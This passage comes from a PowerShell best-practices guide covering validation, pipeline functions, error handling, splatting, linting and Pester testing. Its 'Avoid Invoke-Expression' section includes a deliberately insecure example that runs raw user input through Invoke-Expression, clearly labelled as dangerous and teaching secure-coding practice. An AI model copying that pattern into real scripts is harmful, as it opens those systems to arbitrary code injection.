if ($PSCmdlet.ShouldProcess($_.FullName, "Delete file")) {
Remove-Item $_.FullName
}
}
}
# Usage
Remove-OldFiles -Path C:\Temp -WhatIf # Shows what would be deleted
Remove-OldFiles -Path C:\Temp -Confirm # Asks for confirmation
Support Pipeline Input¶
Make functions pipeline-aware:
# Good - Accept pipeline input
function Get-FileSize {
[CmdletBinding()]
param(
[Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)]
[string[]]$Path
)
begin {
Write-Verbose "Starting file size calculation"
$TotalSize = 0
}
process {
foreach ($FilePath in $Path) {
$item = Get-Item $FilePath
$TotalSize += $item.Length
[PSCustomObject]@{
Path = $FilePath
SizeKB = [math]::Round($item.Length / 1KB, 2)
}
}
}
end {
Write-Verbose "Total size: $([math]::Round($TotalSize / 1MB, 2)) MB"
}
}
# Usage
Get-ChildItem C:\Logs | Get-FileSize
'file1.txt', 'file2.txt' | Get-FileSize
Use Parameter Validation¶
Validate parameters declaratively:
# Good - Comprehensive validation
function New-UserAccount {
[CmdletBinding()]
param(
# Required and not empty
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string]$UserName,
# Pattern validation (email)
[Parameter(Mandatory)]
[ValidatePattern('^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$')]
[string]$Email,
# Range validation
[ValidateRange(18, 120)]
[int]$Age = 18,
# Set validation
[ValidateSet('Admin', 'User', 'Guest')]
[string]$Role = 'User',
# Length validation
[ValidateLength(8, 64)]
[string]$Password,
# Script validation
[ValidateScript({
if (Test-Path $_ -PathType Container) { $true }
else { throw "Path '$_' does not exist" }
})]
[string]$HomeDirectory,
# Count validation
[ValidateCount(1, 5)]
[string[]]$Groups
)
# Function implementation
}
Write Comment-Based Help¶
Document functions with comment-based help:
function Get-ServiceStatus {
<#
.SYNOPSIS
Retrieves the current status of Windows services.
.DESCRIPTION
Queries one or more Windows services and returns their current status,
startup type, and running state. Supports filtering by service name pattern.
.PARAMETER ServiceName
The name or name pattern of the service(s) to query.
Supports wildcards (* and ?).
.PARAMETER ComputerName
The remote computer to query. Defaults to local computer.
.PARAMETER IncludeDependent
Include dependent services in the output.
.EXAMPLE
Get-ServiceStatus -ServiceName "wuauserv"
Gets the status of the Windows Update service.
.EXAMPLE
Get-ServiceStatus -ServiceName "w*" -ComputerName Server01
Gets all services starting with 'w' on Server01.
.EXAMPLE
Get-ServiceStatus -ServiceName "MSSQLSERVER" -IncludeDependent
Gets SQL Server status including dependent services.
.INPUTS
String. You can pipe service names to Get-ServiceStatus.
.OUTPUTS
PSCustomObject. Returns service status information.
.NOTES
Requires administrative privileges for remote computers.
Author: Tyler Dukes
Version: 1.0.0
.LINK
https://docs.microsoft.com/powershell
#>
[CmdletBinding()]
param(
[Parameter(Mandatory, ValueFromPipeline)]
[string[]]$ServiceName
)
# Implementation
}
# Access help
Get-Help Get-ServiceStatus
Get-Help Get-ServiceStatus -Examples
Get-Help Get-ServiceStatus -Detailed
Use Try-Catch for Error Handling¶
Handle errors explicitly:
# Good - Comprehensive error handling
function Get-RemoteData {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[string]$Url,
[int]$MaxRetries = 3
)
$attempt = 0
while ($attempt -lt $MaxRetries) {
$attempt++
try {
Write-Verbose "Attempt $attempt of $MaxRetries"
$response = Invoke-RestMethod -Uri $Url -ErrorAction Stop
Write-Verbose "Successfully retrieved data"
return $response
} catch [System.Net.WebException] {
Write-Warning "Network error: $($_.Exception.Message)"
if ($attempt -eq $MaxRetries) {
Write-Error "Failed after $MaxRetries attempts"
throw
}
Start-Sleep -Seconds (2 * $attempt)
} catch [System.UnauthorizedAccessException] {
Write-Error "Authentication failed: Check credentials"
throw # Don't retry authentication errors
} catch {
Write-Error "Unexpected error: $($_.Exception.Message)"
Write-Debug $_.ScriptStackTrace
throw
} finally {
Write-Verbose "Completed attempt $attempt"
}
}
}
Use Splatting for Readability¶
Use hash tables for multiple parameters:
# Good - Splatting for readability
$userParams = @{
Name = "John Doe"
SamAccountName = "jdoe"
UserPrincipalName = "jdoe@contoso.com"
EmailAddress = "jdoe@contoso.com"
Path = "OU=Users,DC=contoso,DC=com"
AccountPassword = $securePassword
Enabled = $true
ChangePasswordAtLogon = $false
}
New-ADUser @userParams
# Good - Combine positional and splatted parameters
$copyParams = @{
Recurse = $true
Force = $true
Verbose = $true
}
Copy-Item -Path C:\Source -Destination C:\Dest @copyParams
# Good - Modify splat based on conditions
$params = @{
ComputerName = $server
ScriptBlock = { Get-Process }
}
if ($credential) {
$params['Credential'] = $credential
}
Invoke-Command @params
# Bad - Long parameter list
New-ADUser -Name "John Doe" -SamAccountName "jdoe" `
-UserPrincipalName "jdoe@contoso.com" -EmailAddress "jdoe@contoso.com" `
-Path "OU=Users,DC=contoso,DC=com" -AccountPassword $securePassword `
-Enabled $true -ChangePasswordAtLogon $false
Avoid Aliases in Scripts¶
Use full cmdlet names for clarity:
# Good - Full cmdlet names
Get-ChildItem -Path C:\Logs -Filter *.log |
Where-Object { $_.Length -gt 10MB } |
ForEach-Object { Remove-Item $_.FullName }
# Bad - Aliases reduce readability
gci C:\Logs -Filter *.log |
? { $_.Length -gt 10MB } |
% { ri $_.FullName }
# Exception: Aliases OK in interactive console
# But NEVER in scripts or modules
Return Objects, Not Text¶
Output structured objects for pipeline compatibility:
# Good - Return objects
function Get-DiskInfo {
[CmdletBinding()]
param([string[]]$ComputerName = $env:COMPUTERNAME)
foreach ($computer in $ComputerName) {
$disk = Get-WmiObject Win32_LogicalDisk -ComputerName $computer -Filter "DriveType=3"
foreach ($d in $disk) {
[PSCustomObject]@{
ComputerName = $computer
Drive = $d.DeviceID
SizeGB = [math]::Round($d.Size / 1GB, 2)
FreeGB = [math]::Round($d.FreeSpace / 1GB, 2)
PercentFree = [math]::Round(($d.FreeSpace / $d.Size) * 100, 2)
}
}
}
}
# Can be used in pipeline
Get-DiskInfo -ComputerName Server01 | Where-Object { $_.PercentFree -lt 20 }
Get-DiskInfo | Export-Csv disks.csv -NoTypeInformation
Get-DiskInfo | ConvertTo-Json | Out-File disks.json
# Bad - Return text
function Get-DiskInfo {
$disk = Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3"
Write-Host "Drive: $($disk.DeviceID)" # Can't be piped!
Write-Host "Free: $($disk.FreeSpace)"
}
Use Write-Verbose and Write-Debug¶
Provide informational output without breaking pipeline:
# Good - Use Write-Verbose for progress
function Deploy-Application {
[CmdletBinding()]
param(
[string]$Source,
[string]$Destination
)
Write-Verbose "Starting deployment from $Source to $Destination"
Write-Verbose "Backing up existing files"
Backup-Files -Path $Destination
Write-Verbose "Copying new files"
Copy-Item -Path $Source\* -Destination $Destination -Recurse
Write-Debug "Deployment details: $(Get-Date)"
Write-Verbose "Deployment completed successfully"
}
# Run with -Verbose to see progress
Deploy-Application -Source C:\App -Destination C:\Deploy -Verbose
# Bad - Using Write-Host
function Deploy-Application {
Write-Host "Starting deployment" # Can't be suppressed or captured
# ...
}
Type Parameters Explicitly¶
Always specify parameter types:
# Good - Typed parameters
function Set-ServiceConfiguration {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[string]$ServiceName,
[Parameter(Mandatory)]
[ValidateSet('Running', 'Stopped')]
[string]$DesiredState,
[int]$TimeoutSeconds = 30,
[switch]$Force,
[PSCredential]$Credential
)
# Function implementation
}
# Bad - Untyped parameters
function Set-ServiceConfiguration {
param(
$ServiceName, # No type = accepts anything
$DesiredState,
$TimeoutSeconds = 30
)
}
Use Proper Scoping¶
Manage variable scope appropriately:
# Good - Clear scope management
$script:ConfigPath = "C:\Config" # Script-level variable
function Get-Configuration {
[CmdletBinding()]
param()
# Access script-level variable
$config = Get-Content $script:ConfigPath | ConvertFrom-Json
return $config # Return value, don't use global scope
}
function Set-Configuration {
[CmdletBinding()]
param(
[PSCustomObject]$Config
)
# Modify script-level variable
$Config | ConvertTo-Json | Set-Content $script:ConfigPath
}
# Bad - Using global scope unnecessarily
function Get-Configuration {
$global:config = Get-Content "C:\Config" # Pollutes global scope
}
Optimize with foreach vs ForEach-Object¶
Choose the right iteration method:
# Good - foreach loop for in-memory collections (faster)
$files = Get-ChildItem C:\Logs
foreach ($file in $files) {
Process-File $file
}
# Good - ForEach-Object for pipeline/streaming (memory efficient)
Get-ChildItem C:\Logs -Recurse | ForEach-Object {
Process-File $_
}
# Good - Use .ForEach() method for best performance
$results = (Get-Process).ForEach({ $_.Name })
# Good - Use .Where() method instead of Where-Object
$largeFiles = (Get-ChildItem).Where({ $_.Length -gt 1MB })
# Bad - ForEach-Object for small in-memory arrays
$files = @('file1.txt', 'file2.txt', 'file3.txt')
$files | ForEach-Object { # Slower than foreach for small arrays
Process-File $_
}
Use PSScriptAnalyzer¶
Lint scripts for best practices:
# Install PSScriptAnalyzer
Install-Module -Name PSScriptAnalyzer -Scope CurrentUser
# Analyze single file
Invoke-ScriptAnalyzer -Path .\MyScript.ps1
# Analyze directory
Invoke-ScriptAnalyzer -Path .\MyModule -Recurse
# Fix issues automatically
Invoke-ScriptAnalyzer -Path .\MyScript.ps1 -Fix
# Custom settings file
Invoke-ScriptAnalyzer -Path .\MyModule -Settings .\.pslintrc.psd1
# CI/CD integration
$results = Invoke-ScriptAnalyzer -Path . -Recurse -Severity Error, Warning
if ($results) {
$results | Format-Table -AutoSize
throw "Script analysis failed with $($results.Count) issues"
}
Use Begin-Process-End Blocks¶
Structure pipeline functions properly:
# Good - Proper pipeline structure
function Measure-FileSize {
[CmdletBinding()]
param(
[Parameter(Mandatory, ValueFromPipeline)]
[System.IO.FileInfo[]]$File
)
begin {
Write-Verbose "Starting file size measurement"
$totalSize = 0
$fileCount = 0
}
process {
foreach ($f in $File) {
$totalSize += $f.Length
$fileCount++
[PSCustomObject]@{
FileName = $f.Name
SizeMB = [math]::Round($f.Length / 1MB, 2)
}
}
}
end {
Write-Verbose "Processed $fileCount files"
Write-Verbose "Total size: $([math]::Round($totalSize / 1GB, 2)) GB"
}
}
# Usage
Get-ChildItem C:\Data -Recurse | Measure-FileSize
Avoid Invoke-Expression¶
Never use Invoke-Expression with untrusted input:
# Bad - Code injection risk
$userInput = Read-Host "Enter command"
Invoke-Expression $userInput # DANGEROUS!
# Good - Use parameterized cmdlets
$processName = Read-Host "Enter process name"
Get-Process -Name $processName # Safe
# Good - Use script blocks with validated input
$action = Read-Host "Choose action (start/stop)"
$scriptBlock = switch ($action) {
'start' { { Start-Service $serviceName } }
'stop' { { Stop-Service $serviceName } }
default { throw "Invalid action" }
}
& $scriptBlock # Execute validated script block
Test with Pester¶
Write tests for your functions:
# Install Pester
Install-Module -Name Pester -Force -SkipPublisherCheck
# MyFunction.Tests.ps1
BeforeAll {
. $PSScriptRoot/MyFunction.ps1
}
Describe 'Get-UserProfile' {
Context 'Parameter validation' {
It 'Should require UserName parameter' {
{ Get-UserProfile } | Should -Throw -ExpectedMessage '*UserName*'
}
It 'Should validate email format' {
{ Get-UserProfile -UserName "test" -Email "invalid" } |
Should -Throw
}
}
Context 'Functionality' {
BeforeEach {
Mock Get-ADUser {
[PSCustomObject]@{
SamAccountName = 'testuser'
DisplayName = 'Test User'
EmailAddress = 'test@example.com'
}
}
}
It 'Should return user object' {
$result = Get-UserProfile -UserName 'testuser'
$result.UserName | Should -Be 'testuser'
}
It 'Should call Get-ADUser once' {
Get-UserProfile -UserName 'testuser'
Should -Invoke Get-ADUser -Exactly 1
}
}
}
# Run tests
Invoke-Pester -Path .\MyFunction.Tests.ps1
Invoke-Pester -Path .\MyFunction.Tests.ps1 -CodeCoverage .\MyFunction.ps1
Tool Configurations¶
VSCode settings.json¶
{
"powershell.scriptAnalysis.enable": true,
"powershell.scriptAnalysis.settingsPath": ".pslintrc.psd1",
"powershell.codeFormatting.preset": "OTBS",
"powershell.codeFormatting.useCorrectCasing": true,
"files.associations": {
"*.ps1": "powershell",
"*.psm1": "powershell",
"*.psd1": "powershell"
}
}
References¶
Official Documentation¶
Tools¶
- PSScriptAnalyzer - Static code analyzer
- Pester - Testing framework
- Plaster - Template-based scaffolding
- PSReadLine - Command-line editing
Style Guides¶
Status: Active